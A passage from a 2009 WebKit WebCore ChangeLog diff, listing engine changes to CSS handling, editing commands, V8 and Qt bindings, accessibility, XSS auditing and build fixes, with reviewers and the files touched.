+        execCommand('underline') can't remove <U> underlines
+        https://bugs.webkit.org/show_bug.cgi?id=20215
+
+        This patch adds support for u, s, and strike to implicitlyStyledElementShouldBeRemovedWhenApplyingStyle so that
+        WebKit can remove those presentational tags when necessary.
+        It also modifies StyleChange::init not to add "text-decoration: none".  Not only is this style meaningless
+        (does not override inherited styles) but it was also causing WebKit to generate extra spans with this style.
+
+        * css/CSSValueList.cpp:
+        (WebCore::CSSValueList::hasValue): True if the property contains the specified value
+        * css/CSSValueList.h: Updated prototype
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::StyleChange::init): No longer adds "text-decoration: none"
+        (WebCore::ApplyStyleCommand::implicitlyStyledElementShouldBeRemovedWhenApplyingStyle): Supports text-decoration-related elements
+
+2009-07-23  Jessie Berlin  <jberlin@apple.com>
+        
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27554
+        Expose the value of text-overflow in getComputedStyle.
+
+        Test: fast/css/getComputedStyle/getComputedStyle-text-overflow.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        Add text-overflow to the list of computedProperties.
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        Return the value of the text-overflow property.
+
+2009-07-23  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27510
+
+        [S60 QtWebKit] Don't put some intermediate generated files into the final mmp project
+        file for linking. This is a temporary workaround for qmake bug in Symbian port, should 
+        be reverted after qmake is fixed.
+
+        * WebCore.pro:
+
+2009-07-23  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Fix an assert in running workers in Chrome.
+        https://bugs.webkit.org/show_bug.cgi?id=27620
+
+        The fix is to change V8DOMMap::removeAllDOMObjectsInCurrentThreadHelper
+        to do not call removeObjectsFromWrapperMap for certain types of DOM
+        objects that exist only in main thread.
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::removeAllDOMObjectsInCurrentThreadHelper):
+
+2009-07-23  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27572
+        Implement support for background-attachment:local.
+
+        Added new test fast/overflow/overflow-with-local-attachment.html.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseFillProperty):
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator EFillAttachment):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::mapFillAttachment):
+        * css/CSSValueKeywords.in:
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintFillLayerExtended):
+        (WebCore::RenderBoxModelObject::calculateBackgroundImageGeometry):
+        * rendering/style/FillLayer.h:
+        (WebCore::FillLayer::attachment):
+        (WebCore::FillLayer::setAttachment):
+        (WebCore::FillLayer::hasFixedImage):
+        (WebCore::FillLayer::initialFillAttachment):
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::backgroundAttachment):
+        (WebCore::InheritedFlags::maskAttachment):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-07-23  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        copyInheritableProperties and removeComputedInheritablePropertiesFrom should be deprecated
+        https://bugs.webkit.org/show_bug.cgi?id=27325
+
+        This patch deprecates copyInheritableProperties because it has been used for two different purposes:
+        1.  Calculating the typing style.
+        2.  Moving HTML subtrees and seeking to remove redundant styles.
+        These tasks should be broken out into two separate functions.  New code should not use this function.
+
+        It deletes removeComputedInheritablePropertiesFrom because it hasn't been used anywhere.
+
+        There is no test since the patch does not change any behavior.
+
+        * css/CSSComputedStyleDeclaration.cpp: removeComputedInheritablePropertiesFrom has been removed
+        (WebCore::CSSComputedStyleDeclaration::deprecatedCopyInheritableProperties): has been renamed from copyInheritableProperties
+        * css/CSSComputedStyleDeclaration.h: ditto
+        * editing/DeleteSelectionCommand.cpp: ditto
+        (WebCore::removeEnclosingAnchorStyle): ditto
+        (WebCore::DeleteSelectionCommand::saveTypingStyleState): ditto
+        * editing/EditCommand.cpp: ditto
+        (WebCore::EditCommand::styleAtPosition): ditto
+        * editing/RemoveFormatCommand.cpp: ditto
+        (WebCore::RemoveFormatCommand::doApply): ditto
+        * editing/ReplaceSelectionCommand.cpp: ditto
+        (WebCore::handleStyleSpansBeforeInsertion): ditto
+        (WebCore::ReplaceSelectionCommand::handleStyleSpans): ditto
+        * editing/markup.cpp: ditto
+        (WebCore::removeEnclosingMailBlockquoteStyle): ditto
+        (WebCore::removeDefaultStyles): ditto
+        (WebCore::createMarkup): ditto
+
+2009-07-22  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Audio element at default width shouldn't have time field.
+        https://bugs.webkit.org/show_bug.cgi?id=27589
+
+        * rendering/MediaControlElements.cpp:
+        (WebCore::MediaControlTimeDisplayElement::setVisible): Make sure we don't
+        forget to remember the visibility if there is no renderer.
+
+2009-07-23  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27598 Clean up the 
+        AccessibilityObject class
+
+        Mostly this is just moving empty stubs into the header rather than 
+        muddying the cpp file with them. A few functions were made pure 
+        virtual.
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::isARIAControl):
+        (WebCore::AccessibilityObject::clickPoint):
+        (WebCore::AccessibilityObject::documentFrameView):
+        (WebCore::AccessibilityObject::actionVerb):
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::intValue):
+        (WebCore::AccessibilityObject::layoutCount):
+        (WebCore::AccessibilityObject::doAccessibilityHitTest):
+        (WebCore::AccessibilityObject::focusedUIElement):
+        (WebCore::AccessibilityObject::firstChild):
+        (WebCore::AccessibilityObject::lastChild):
+        (WebCore::AccessibilityObject::previousSibling):
+        (WebCore::AccessibilityObject::nextSibling):
+        (WebCore::AccessibilityObject::parentObjectIfExists):
+        (WebCore::AccessibilityObject::observableObject):
+        (WebCore::AccessibilityObject::linkedUIElements):
+        (WebCore::AccessibilityObject::titleUIElement):
+        (WebCore::AccessibilityObject::ariaRoleAttribute):
+        (WebCore::AccessibilityObject::isPresentationalChildOfAriaRole):
+        (WebCore::AccessibilityObject::ariaRoleHasPresentationalChildren):
+        (WebCore::AccessibilityObject::roleValue):
+        (WebCore::AccessibilityObject::ariaAccessiblityName):
+        (WebCore::AccessibilityObject::ariaLabeledByAttribute):
+        (WebCore::AccessibilityObject::ariaDescribedByAttribute):
+        (WebCore::AccessibilityObject::accessibilityDescription):
+        (WebCore::AccessibilityObject::ariaSelectedTextDOMRange):
+        (WebCore::AccessibilityObject::axObjectCache):
+        (WebCore::AccessibilityObject::axObjectID):
+        (WebCore::AccessibilityObject::setAXObjectID):
+        (WebCore::AccessibilityObject::anchorElement):
+        (WebCore::AccessibilityObject::actionElement):
+        (WebCore::AccessibilityObject::boundingBoxRect):
+        (WebCore::AccessibilityObject::selectedTextRange):
+        (WebCore::AccessibilityObject::selectionStart):
+        (WebCore::AccessibilityObject::selectionEnd):
+        (WebCore::AccessibilityObject::url):
+        (WebCore::AccessibilityObject::selection):
+        (WebCore::AccessibilityObject::stringValue):
+        (WebCore::AccessibilityObject::title):
+        (WebCore::AccessibilityObject::helpText):
+        (WebCore::AccessibilityObject::textUnderElement):
+        (WebCore::AccessibilityObject::text):
+        (WebCore::AccessibilityObject::textLength):
+        (WebCore::AccessibilityObject::selectedText):
+        (WebCore::AccessibilityObject::accessKey):
+        (WebCore::AccessibilityObject::widget):
+        (WebCore::AccessibilityObject::widgetForAttachmentView):
+        (WebCore::AccessibilityObject::setFocused):
+        (WebCore::AccessibilityObject::setSelectedText):
+        (WebCore::AccessibilityObject::setSelectedTextRange):
+        (WebCore::AccessibilityObject::setValue):
+        (WebCore::AccessibilityObject::setSelected):
+        (WebCore::AccessibilityObject::makeRangeVisible):
+        (WebCore::AccessibilityObject::childrenChanged):
+        (WebCore::AccessibilityObject::addChildren):
+        (WebCore::AccessibilityObject::hasChildren):
+        (WebCore::AccessibilityObject::selectedChildren):
+        (WebCore::AccessibilityObject::visibleChildren):
+        (WebCore::AccessibilityObject::visiblePositionRange):
+        (WebCore::AccessibilityObject::visiblePositionRangeForLine):
+        (WebCore::AccessibilityObject::boundsForVisiblePositionRange):
+        (WebCore::AccessibilityObject::setSelectedVisiblePositionRange):
+        (WebCore::AccessibilityObject::visiblePositionForPoint):
+        (WebCore::AccessibilityObject::nextVisiblePosition):
+        (WebCore::AccessibilityObject::previousVisiblePosition):
+        (WebCore::AccessibilityObject::visiblePositionForIndex):
+        (WebCore::AccessibilityObject::indexForVisiblePosition):
+        (WebCore::AccessibilityObject::index):
+        (WebCore::AccessibilityObject::doAXRangeForLine):
+        (WebCore::AccessibilityObject::doAXRangeForIndex):
+        (WebCore::AccessibilityObject::doAXStringForRange):
+        (WebCore::AccessibilityObject::doAXBoundsForRange):
+        (WebCore::AccessibilityObject::updateBackingStore):
+
+2009-07-23  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by David Hyatt.
+
+        Fix of <rdar://4877658> Dragging from the area between the horizontal/vertical scrollbars when status bar is showing starts a selection and autoscroll.
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMousePressEvent):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+        * platform/ScrollView.h:
+
+2009-07-23  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27581
+        Drop the prefix from the box-shadow property.
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::ShadowParseContext::commitLength):
+        (WebCore::cssPropertyID):
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * page/animation/AnimationBase.cpp:
+        (WebCore::ensurePropertyMap):
+
+2009-07-22  Viet-Trung Luu  <viettrungluu@gmail.com>
+
+        Reviewed by David Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27289
+        When a mouse click occurs on a scrollbar without a preceding mouse move
+        onto it, the release isn't handled correctly (since
+        EventHandler::m_lastScrollbarUnderMouse isn't set on mouse down, but
+        only on mouse move). (Side comment: That scrollbar-handling code
+        in EventHandler is ugly. It should be fixed properly.)
+
+        Tests: scrollbars/scrollbar-miss-mousemove.html
+               scrollbars/scrollbar-miss-mousemove-disabled.html
+
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::handleMousePressEvent):
+        (WebCore::EventHandler::handleMouseMoveEvent):
+        (WebCore::EventHandler::updateLastScrollbarUnderMouse):
+        * page/EventHandler.h:
+
+2009-07-23  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by David Levin.
+
+        Update WebCore/page/BarInfo.cpp to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27606
+
+        * page/BarInfo.cpp:
+        (WebCore::BarInfo::visible):
+
+2009-07-23  Mike Fenton  <mike.fenton@torchmobile.com>
+
+        Reviewed by David Levin.
+
+        Update WebCore/page/Console.cpp to conform to WebKit
+        Style Guidelines as identified by cpplint.py.
+        https://bugs.webkit.org/show_bug.cgi?id=27606
+
+        * page/Console.cpp:
+        (WebCore::printMessageSourceAndLevelPrefix):
+        (WebCore::Console::profile):
+        (WebCore::Console::time):
+
+2009-07-23  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Fix crashes with the QObject bindings after garbage collection.
+
+        There is one QtInstance per wrapped QObject, and that QtInstance keeps
+        references to cached JSObjects for slots. When those objects get
+        deleted due to GC, then they becoming dangling pointers.
+
+        When a cached member dies, it is now removed from the QtInstance's
+        cache.
+
+        As we cannot track the lifetime of the children, we have to remove
+        them from QtInstance alltogether. They are not cached and were
+        only used for mark(), but we _want_ them to be subject to gc.
+
+        * bridge/qt/qt_instance.cpp:
+        (JSC::Bindings::QtInstance::~QtInstance): Minor coding style cleanup,
+        use qDeleteAll().
+        (JSC::Bindings::QtInstance::removeCachedMethod): New function, to
+        clean m_methods and m_defaultMethod.
+        (JSC::Bindings::QtInstance::mark): Avoid marking already marked objects.
+        (JSC::Bindings::QtField::valueFromInstance): Don't save children for
+        marking.
+        * bridge/qt/qt_instance.h: Declare removeCachedMethod.
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::QtRuntimeMethod::~QtRuntimeMethod): Call removeCachedMethod
+        with this on the instance.
+
+2009-07-23  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Mark Rowe.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27599
+        'const unsigned' in return value
+
+        Remove const modifier from unsigned return value, as it does not
+        make sense.
+
+        * dom/ErrorEvent.h:
+
+2009-07-22  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by David Levin.
+
+        Bug 22784: Improve keyboard navigation of Select elements.
+        Home/End and PageUp/PageDn buttons do not do anything in drop down lists,
+        on non-Mac platforms.
+        https://bugs.webkit.org/show_bug.cgi?id=22784
+        http://code.google.com/p/chromium/issues/detail?id=4576
+
+        New test: LayoutTests/fast/forms/select-popup-pagekeys.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::nextValidIndex): 
+        New utility fn for traversing items of a select's list.
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+        Added code to handle Home/End and PageUp/PageDn when ARROW_KEYS_POP_MENU is false.
+
+2009-07-23  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Mark Rowe.
+
+        Fix a couple of compiler warnings.
+
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (copySurface):
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
+        (WebCore::SimpleFontData::containsCharacters):
+
+2009-07-22  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by David Levin.
+
+        Enable HTML5 Datagrid defines for the Qt build.
+
+        * WebCore.pro:
+
+2009-07-22  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Make Node wrappers go fast
+        https://bugs.webkit.org/show_bug.cgi?id=27597
+
+        Profiles indicate we're spending a lot of time asking whether we're on
+        the main thread when looking up DOM wrappers for Nodes, but there isn't
+        much point in doing that work because Nodes only exist on the main
+        thread.  I've also added an assert to keep us honest in this regard.
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::):
+        (WebCore::getDOMNodeMap):
+        (WebCore::DOMData::getCurrent):
+        (WebCore::DOMData::getCurrentMainThread):
+
+2009-07-22  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Remove unneeded virtual destructor from ScriptSourceProvider
+        https://bugs.webkit.org/show_bug.cgi?id=27563
+
+        * bindings/js/ScriptSourceProvider.h:
+
+2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        execCommand('underline' / 'strikeThrough') doesn't work properly with multiple styles in text-decoration
+        https://bugs.webkit.org/show_bug.cgi?id=27476
+
+        executeStrikethrough and executeUnderline were toggling between "line-through" / "underline" and "none".
+        This patch adds executeToggleStyleInList that toggles a style in CSSValueList instead of toggling the entire value.
+        It modifies CSSComputedStyleDeclaration to return CSSValueList instead of CSSPrimitiveValue for text decorations,
+        and adds removeAll member function to CSSValueList.
+
+        Tests: editing/execCommand/toggle-text-decorations.html
+               fast/css/getComputedStyle/getComputedStyle-text-decoration.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::renderTextDecorationFlagsToCSSValue): Creates a CSSValueList
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue): Returns a CSSValueList instead of CSSValue
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue): Text decorations are space separated instead of comma separated
+        * css/CSSValueList.cpp:
+        (WebCore::CSSValueList::removeAll): Removes all values that match the specified value
+        * css/CSSValueList.h:
+        * editing/EditorCommand.cpp:
+        (WebCore::applyCommandToFrame): Apply style to a frame using specified command
+        (WebCore::executeApplyStyle): Uses applyCommandToFrame
+        (WebCore::executeToggleStyleInList): Uses applyCommandToFrame
+        (WebCore::executeToggleStyle): Toggles a style in CSSValueList
+        (WebCore::executeStrikethrough): Uses executeToggleStyleInList
+        (WebCore::executeUnderline): Uses executeToggleStyleInList
+
+2009-07-22  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27174
+        And
+        https://bugs.webkit.org/show_bug.cgi?id=26938
+        
+        Code cleanup. Implements support for detecting attacks transformed by 
+        PHP Magic Quotes/PHP addslashes().
+
+        Tests: http/tests/security/xssAuditor/script-tag-addslashes-backslash.html
+               http/tests/security/xssAuditor/script-tag-addslashes-double-quote.html
+               http/tests/security/xssAuditor/script-tag-addslashes-null-char.html
+               http/tests/security/xssAuditor/script-tag-addslashes-single-quote.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::isInvalidCharacter):
+        (WebCore::XSSAuditor::canEvaluate):
+        (WebCore::XSSAuditor::canEvaluateJavaScriptURL):
+        (WebCore::XSSAuditor::canLoadObject):
+        (WebCore::XSSAuditor::normalize): Decodes HTML entities, removes backslashes,
+        and removes control characters that could otherwise cause a discrepancy between
+        the source code of a script and the outgoing HTTP parameters.
+        (WebCore::XSSAuditor::decodeURL):
+        (WebCore::XSSAuditor::decodeHTMLEntities):
+        (WebCore::XSSAuditor::findInRequest):
+        * page/XSSAuditor.h:
+
+2009-07-22  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Null deref in JSObject::mark due to null xhr wrapper
+        https://bugs.webkit.org/show_bug.cgi?id=27565
+
+        Make event target binding for appcache and xhr behave in the same way as
+        it does for all other events.
+
+        No test as I couldn't make a testcase which was remotely reliable.
+
+        * bindings/js/JSEventTarget.cpp:
+        (WebCore::toJS):
+
+2009-07-22  Mads Ager  <ager@chromium.org>
+
+        Reviewed by David Levin.
+
+        Inform V8 of the amount of WebCore string memory it is keeping alive.
+        https://bugs.webkit.org/show_bug.cgi?id=27537
+
+        V8 uses external strings that are backed by WebCore strings. Since
+        the external strings themselves are small, V8 has no way of
+        knowing how much memory it is actually holding on to. With this
+        change, we inform V8 of the amount of WebCore string data it is
+        holding on to with external strings.
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::WebCoreStringResource::WebCoreStringResource):
+        (WebCore::WebCoreStringResource::~WebCoreStringResource):
+
+2009-07-22  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Beth Dakin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27562
+        Add the finalized versions of background-clip and background-origin.  Remove background-clip from
+        the background shorthand and have it be auto-set based off background-origin's value.
+
+        Three new tests added in fast/backgrounds/size
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::):
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+        * css/CSSMutableStyleDeclaration.cpp:
+        (WebCore::CSSMutableStyleDeclaration::getPropertyValue):
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseValue):
+        (WebCore::CSSParser::parseFillShorthand):
+        (WebCore::CSSParser::parseFillProperty):
+        * css/CSSPropertyLonghand.cpp:
+        (WebCore::initShorthandMap):
+        * css/CSSPropertyNames.in:
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty):
+        * css/CSSValueKeywords.in:
+
+2009-07-22  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Hook up V8 bindings for DataGrid elements.
+        https://bugs.webkit.org/show_bug.cgi?id=27383
+        http://code.google.com/p/chromium/issues/detail?id=16730
+
+        Tests: Enhanced LayoutTests/fast/dom/HTMLDataGridElement/*
+        to handle exceptions, check appropriate JS prototypes, and
+        test column-list's item() method as well as array-indexing.
+
+        * WebCore.gypi: Added new source files.
+        * bindings/scripts/CodeGeneratorV8.pm: Made GenerateBatchedAttributeData put #if's around conditional attributes.
+        * bindings/v8/DOMObjectsInclude.h: #include DataGrid headers.
+        * bindings/v8/V8DOMWrapper.cpp: Add bindings from HTML tags to datagrid templates.
+        (WebCore::V8DOMWrapper::getTemplate): Customize datagrid template.
+        * bindings/v8/V8DataGridDataSource.cpp: Added. (Based on JSDataGridDataSource)
+        (WebCore::V8DataGridDataSource::V8DataGridDataSource):
+        (WebCore::V8DataGridDataSource::~V8DataGridDataSource):
+        * bindings/v8/V8DataGridDataSource.h: Added. (Based on JSDataGridDataSource)
+        (WebCore::V8DataGridDataSource::create):
+        (WebCore::V8DataGridDataSource::isJSDataGridDataSource):
+        (WebCore::V8DataGridDataSource::jsDataSource):
+        (WebCore::asV8DataGridDataSource):
+        * bindings/v8/V8GCController.h: Added new handle type "DATASOURCE".
+        * bindings/v8/V8Index.h: Conditionalize datagrid stuff.
+        * bindings/v8/custom/V8CustomBinding.h: Declare more accessors. Conditionalize.
+        * bindings/v8/custom/V8DataGridColumnListCustom.cpp: Added.
+        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Fill in dataSource accessors.
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-07-22  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        pushDownTextDecorationStyleAroundNode needs clean up
+        https://bugs.webkit.org/show_bug.cgi?id=27556
+
+        Cleaned up. pushDownTextDecorationStyleAroundNode traverses tree vertically from highestAncestor to targetNode
+        While traversing, it will apply the specified style to all nodes but targetNode.
+        i.e. the style is applies to all ancestor nodes and their siblings of targetNode.
+
+        * editing/ApplyStyleCommand.cpp:
+        (WebCore::ApplyStyleCommand::pushDownTextDecorationStyleAroundNode): Cleaned up and added comments
+        * editing/ApplyStyleCommand.h: Updated prototype
+
+2009-07-22  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by David Kilzer.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27323
+        Handle any type of line endings in WebCore/css/*CSSPropertyNames.in.
+
+        * DerivedSources.make:
+        * css/makeprop.pl:
+        * css/makevalues.pl:
+
+2009-07-22  Paul Godavari  <paul@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Chromium has a build break after removal of JSRGBColor bindings
+        https://bugs.webkit.org/show_bug.cgi?id=27548
+
+        Fix a build break in Chromium V8 after the JSRGBColor bindings change:
+        https://bugs.webkit.org/show_bug.cgi?id=27242
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-07-22  Adam Langley  <agl@google.com>
+
+        Reviewed by Darin Fisher.
+
+        Chromium Linux: add static functions to FontPlatformData which allow
+        for setting the global font rendering preferences.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27513
+        http://code.google.com/p/chromium/issues/detail?id=12179
+
+        This should not affect any layout tests.
+
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::setHinting):
+        (WebCore::FontPlatformData::setAntiAlias):
+        (WebCore::FontPlatformData::setSubpixelGlyphs):
+        (WebCore::FontPlatformData::setupPaint):
+        * platform/graphics/chromium/FontPlatformDataLinux.h:
+
+2009-07-22  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Move Inspector panels creation into a function to make possible introducing
+        custom panels.
+
+        * inspector/front-end/inspector.js:
+        (WebInspector._createPanels):
+        (WebInspector.loaded):
+
+2009-07-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Print console command message upon evaluate
+        selection request; Handle errors in evaluation request
+        properly.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27535
+
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.evaluateInSelectedCallFrame):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._evalSelectionInCallFrame):
+
+2009-07-22  Xan Lopez  <xlopez@igalia.com>
+
+        Attempt to fix the GTKbuild.
+
+        * GNUmakefile.am:
+
+2009-07-21  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Fix the Qt build.
+
+        * WebCore.pro: Add RGBColor.cpp to the build, remove JSRGBColor.
+
+2009-07-21  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27494
+
+        Fixes an issue that can cause a crash or unexpected behavior when calling
+        WebCore::ScriptSourceCode::source on a cached script.
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/CachedScriptSourceProvider.h: Modified to inherit from 
+        WebCore::ScriptSourceCode.
+        (WebCore::CachedScriptSourceProvider::source):
+        (WebCore::CachedScriptSourceProvider::CachedScriptSourceProvider):
+        * bindings/js/ScriptSourceCode.h:
+        (WebCore::ScriptSourceCode::ScriptSourceCode): Separated out source provider and
+        rewrote to use WebCore::ScriptSourceProvider.
+        (WebCore::ScriptSourceCode::source):
+        * bindings/js/ScriptSourceProvider.h: Added.
+        (WebCore::ScriptSourceProvider::ScriptSourceProvider):
+        (WebCore::ScriptSourceProvider::~ScriptSourceProvider):
+        * bindings/js/StringSourceProvider.h: Modified to inherit from 
+        WebCore::ScriptSourceCode.
+        (WebCore::StringSourceProvider::StringSourceProvider):
+
+2009-07-21  Sam Weinig  <sam@webkit.org>
+
+        Another attempt to fix the Windows build.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-07-21  Sam Weinig  <sam@webkit.org>
+
+        Attempt to fix the Windows build.
+
+        * DerivedSources.cpp:
+
+2009-07-21  Sam Weinig  <sam@webkit.org>
+
+        Attempt to fix the GTK build.
+
+        * GNUmakefile.am:
+
+2009-07-21  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Autogenerate Objective-C binding implementation for RGBColor.
+
+        No functionality change.
+
+        * WebCore.xcodeproj/project.pbxproj: 
+        * bindings/objc/DOMRGBColor.mm: Removed.
+        * bindings/scripts/CodeGeneratorObjC.pm: Add logic to convert from
+        WebCore::Color to NSColor*.
+        * css/RGBColor.idl:
+
+2009-07-21  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=27242
+        JSC bindings should use an auto-bound RGBColor class instead of hand-rolled JSRGBColor
+
+        Move the JSC and Objective-C bindings onto using the RGBColor object instead
+        of just an unsigned int. The JSC bindings are now completely autogenerated for
+        this class. (Also removes the last lut from WebCore).
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSRGBColor.cpp: Removed.
+        * bindings/js/JSRGBColor.h: Removed.
+        * bindings/objc/DOM.mm:
+        (-[DOMRGBColor _color]):
+        * bindings/objc/DOMRGBColor.mm:
+        (-[DOMRGBColor dealloc]):
+        (-[DOMRGBColor finalize]):
+        (-[DOMRGBColor red]):
+        (-[DOMRGBColor green]):
+        (-[DOMRGBColor blue]):
+        (-[DOMRGBColor alpha]):
+        (-[DOMRGBColor color]):
+        * bindings/scripts/CodeGenerator.pm:
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bindings/scripts/CodeGeneratorObjC.pm:
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::parseColor):
+        * css/CSSPrimitiveValue.cpp:
+        (WebCore::CSSPrimitiveValue::getRGBColorValue):
+        * css/CSSPrimitiveValue.h:
+        (WebCore::CSSPrimitiveValue::getRGBA32Value):
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::getColorFromPrimitiveValue):
+        * css/RGBColor.cpp:
+        (WebCore::RGBColor::alpha):
+        * css/RGBColor.h:
+        (WebCore::RGBColor::color):
+        (WebCore::RGBColor::RGBColor):
+        * css/RGBColor.idl:
+        * page/DOMWindow.idl:
+        * svg/SVGColor.cpp:
+        (WebCore::SVGColor::rgbColor):
+        * svg/SVGColor.h:
+
+2009-07-21  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Implement AbstractWorker::dispatchScriptErrorEvent by generating an ErrorEvent.
+        https://bugs.webkit.org/show_bug.cgi?id=27515
+
+        * workers/AbstractWorker.cpp:
+        (WebCore::AbstractWorker::dispatchScriptErrorEvent):
+
+2009-07-21  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Move m_context out of generator into a superclass
+        https://bugs.webkit.org/show_bug.cgi?id=27521
+
+        Mostly this is removing code from CodeGeneratorJS
+        and instead using a DOMObjectWithSVGContext superclass in JSDOMBinding.h.
+
+        DOMObjectWithSVGContext.h is its own file so that WebKit doesn't need to
+        know about SVGElement.h (WebKit includes JSDOMBinding.h for some reason).
+
+        I also removed context pointer from SVGZoomEvent since it was never used.
+
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
